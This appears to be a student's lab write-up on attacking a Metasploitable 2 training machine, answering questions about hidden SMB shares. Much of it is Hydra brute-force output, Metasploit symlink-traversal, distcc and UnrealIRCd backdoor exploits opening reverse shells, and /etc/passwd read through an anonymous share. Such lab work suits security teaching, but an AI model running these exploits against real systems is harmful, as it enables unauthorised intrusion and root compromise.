[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[DATA] max 16 tasks per 1 server, overall 64 tasks, 4622 login tries (l:1/p:4622), ~4 tries per task  
[DATA] attacking service ssh on port 22  
[**22**][**ssh**] host: **10.0.2.4** login: **user** password: **user**  
[STATUS] attack finished for 10.0.2.4 (waiting for children to finish) ...  
1 of 1 target successfully completed, 1 valid password found  
Hydra (http://www.thc.org/thc-hydra) finished at 2017-02-20 06:07:30

**5) Some shares had a $ in them. Which shares are these, and what does each do.**

These are hidden shares.

ADMIN$ - The windows directory or Systemroot default directory

IPC$ - InterProcess Communication(IPC) Allows applications to share information and handle many requests at once.

PRINT$ - Enables remote administration on printers.

Bonus Questions:

1) One of the shares has a 'oh noes' in the comments. What is special about this share and why might the metasploitable authors call it out.

﻿

msf > use auxiliary/admin/smb/samba\_symlink\_traversal   
msf auxiliary(**samba\_symlink\_traversal**) > set rhost 10.0.2.4  
rhost => 10.0.2.4  
msf auxiliary(**samba\_symlink\_traversal**) > set smbshare tmp  
smbshare => tmp  
msf auxiliary(**samba\_symlink\_traversal**) > exploit  
  
**[\*]** 10.0.2.4:445 - Connecting to the server...  
**[\*]** 10.0.2.4:445 - Trying to mount writeable share 'tmp'...  
**[\*]** 10.0.2.4:445 - Trying to link 'rootfs' to the root filesystem...  
**[-]** 10.0.2.4:445 - Auxiliary failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS\_OBJECT\_NAME\_COLLISION (Command=50 WordCount=0)  
**[-]** 10.0.2.4:445 - Call stack:  
**[-]** 10.0.2.4:445 - /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:259:in `smb\_recv\_parse'  
**[-]** 10.0.2.4:445 - /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:1666:in `trans2'  
**[-]** 10.0.2.4:445 - /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:1787:in `symlink'  
**[-]** 10.0.2.4:445 - /usr/share/metasploit-framework/modules/auxiliary/admin/smb/samba\_symlink\_traversal.rb:60:in `run'  
**[\*]** Auxiliary module execution completed  
msf auxiliary(**samba\_symlink\_traversal**) > exit

**root@kali**:**~**# smbclient //10.0.2.4/tmp -N  
WARNING: The "syslog" option is deprecated  
Anonymous login successful  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
smb: \> cd rootfs\etc\  
smb: \rootfs\etc\> more passwd   
﻿

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
dhcp:x:101:102::/nonexistent:/bin/false  
syslog:x:102:103::/home/syslog:/bin/false  
klog:x:103:104::/home/klog:/bin/false  
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin  
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash  
bind:x:105:113::/var/cache/bind:/bin/false  
postfix:x:106:115::/var/spool/postfix:/bin/false  
ftp:x:107:65534::/home/ftp:/bin/false  
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash  
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false  
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false  
distccd:x:111:65534::/:/bin/false  
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash  
service:x:1002:1002:,,,:/home/service:/bin/bash  
telnetd:x:112:120::/nonexistent:/bin/false  
proftpd:x:113:65534::/var/run/proftpd:/bin/false  
statd:x:114:65534::/var/lib/nfs:/bin/false  
snmp:x:115:65534::/var/lib/snmp:/bin/false  
(END)

﻿

**root@kali**:**~**# smbmap -u user -p user -d workgroup -H 10.0.2.4  
[+] Finding open SMB ports....  
[+] User SMB session establishd on 10.0.2.4...  
[+] IP: 10.0.2.4:445 Name: 10.0.2.4   
 Disk Permissions  
 ---- -----------  
 print$ READ ONLY  
 tmp READ, WRITE  
 opt READ ONLY  
 IPC$ NO ACCESS  
 ADMIN$ NO ACCESS  
 user READ, WRITE  
**root@kali**:**~**# smbmap -u msfadmin -p msfadmin -d workgroup -H 10.0.2.4  
[+] Finding open SMB ports....  
[+] User SMB session establishd on 10.0.2.4...  
[+] IP: 10.0.2.4:445 Name: 10.0.2.4   
 Disk Permissions  
 ---- -----------  
 print$ READ ONLY  
 tmp READ, WRITE  
 opt READ ONLY  
 IPC$ NO ACCESS  
 ADMIN$ NO ACCESS  
 msfadmin READ, WRITE

2) What exploit works for that SMB share? What does that exploit do?

msf > use exploit/unix/misc/distcc\_exec   
msf exploit(**distcc\_exec**) > set rhost 10.0.2.4  
rhost => 10.0.2.4  
msf exploit(**distcc\_exec**) > exploit  
  
**[\*]** Started reverse TCP double handler on 10.0.2.15:4444   
**[\*]** Accepted the first client connection...  
**[\*]** Accepted the second client connection...  
**[\*]** Command: echo CaUN5t9UINtfPwEe;  
**[\*]** Writing to socket A  
**[\*]** Writing to socket B  
**[\*]** Reading from sockets...  
**[\*]** Reading from socket B  
**[\*]** B: "CaUN5t9UINtfPwEe\r\n"  
**[\*]** Matching...  
**[\*]** A is input...  
**[\*]** Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.4:49736) at 2017-02-20 21:46:52 -0700  
  
id  
uid=1(daemon) gid=1(daemon) groups=1(daemon)  
ifconfig  
eth0 Link encap:Ethernet HWaddr 08:00:27:3e:5b:40   
 inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0  
 inet6 addr: fe80::a00:27ff:fe3e:5b40/64 Scope:Link  
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
 RX packets:1461 errors:0 dropped:0 overruns:0 frame:0  
 TX packets:1336 errors:0 dropped:0 overruns:0 carrier:0  
 collisions:0 txqueuelen:1000   
 RX bytes:125285 (122.3 KB) TX bytes:98684 (96.3 KB)  
 Base address:0xd010 Memory:f0000000-f0020000   
  
lo Link encap:Local Loopback   
 inet addr:127.0.0.1 Mask:255.0.0.0  
 inet6 addr: ::1/128 Scope:Host  
 UP LOOPBACK RUNNING MTU:16436 Metric:1  
 RX packets:508 errors:0 dropped:0 overruns:0 frame:0  
 TX packets:508 errors:0 dropped:0 overruns:0 carrier:0  
 collisions:0 txqueuelen:0   
 RX bytes:223589 (218.3 KB) TX bytes:223589 (218.3 KB)  
  
 ﻿

msf > use exploit/unix/irc/unreal\_ircd\_3281\_backdoor   
msf exploit(**unreal\_ircd\_3281\_backdoor**) > set rhost 10.0.2.4  
rhost => 10.0.2.4  
msf exploit(**unreal\_ircd\_3281\_backdoor**) > exploit  
  
**[\*]** Started reverse TCP double handler on 10.0.2.15:4444   
**[\*]** 10.0.2.4:6667 - Connected to 10.0.2.4:6667...  
 :irc.Metasploitable.LAN NOTICE AUTH :\*\*\* Looking up your hostname...  
 :irc.Metasploitable.LAN NOTICE AUTH :\*\*\* Couldn't resolve your hostname; using your IP address instead  
**[\*]** 10.0.2.4:6667 - Sending backdoor command...  
**[\*]** Accepted the first client connection...  
**[\*]** Accepted the second client connection...  
**[\*]** Command: echo f9FdWe10jZOeOO0R;  
**[\*]** Writing to socket A  
**[\*]** Writing to socket B  
**[\*]** Reading from sockets...  
**[\*]** Reading from socket B  
**[\*]** B: "f9FdWe10jZOeOO0R\r\n"  
**[\*]** Matching...  
**[\*]** A is input...  
**[\*]** Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.4:39082) at 2017-02-20 18:07:16 -0700  
  
id  
uid=0(root) gid=0(root)  
ifconfig  
eth0 Link encap:Ethernet HWaddr 08:00:27:3e:5b:40   
 inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0  
 inet6 addr: fe80::a00:27ff:fe3e:5b40/64 Scope:Link  
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
 RX packets:220 errors:0 dropped:0 overruns:0 frame:0  
 TX packets:248 errors:0 dropped:0 overruns:0 carrier:0  
 collisions:0 txqueuelen:1000   
 RX bytes:33707 (32.9 KB) TX bytes:32247 (31.4 KB)  
 Base address:0xd010 Memory:f0000000-f0020000   
  
lo Link encap:Local Loopback   
 inet addr:127.0.0.1 Mask:255.0.0.0  
 inet6 addr: ::1/128 Scope:Host  
 UP LOOPBACK RUNNING MTU:16436 Metric:1  
 RX packets:240 errors:0 dropped:0 overruns:0 frame:0  
 TX packets:240 errors:0 dropped:0 overruns:0 carrier:0  
 collisions:0 txqueuelen:0   
 RX bytes:91669 (89.5 KB) TX bytes:91669 (89.5 KB)

3) The exploit for that share allows another kind of enumeration. What kind is it, and how would you execute it.

﻿Cited Works:

* Hdmoore. "Metasploitable 2 Exploitability Guide." *Rapid7 Community and Blog*. N.p., 25 Mar. 2014. Web. 21 Feb. 2017.
* "SMB enumeration with Kali Linux : enum4linux,acccheck & smbmap." *Hackercool.......* N.p., 20 July 2016. Web. 21 Feb. 2017.
* "Control – smb 445, 137, 139." *Myexploit*. N.p., 20 Sept. 2016. Web. 21 Feb. 2017.
* "What is hidden share?" *What is hidden share?* N.p., n.d. Web. 21 Feb. 2017.
* "Brute Forcing Passwords with ncrack, hydra and medusa." *HackerTarget.com*. N.p., 07 Dec. 2016. Web. 21 Feb. 2017.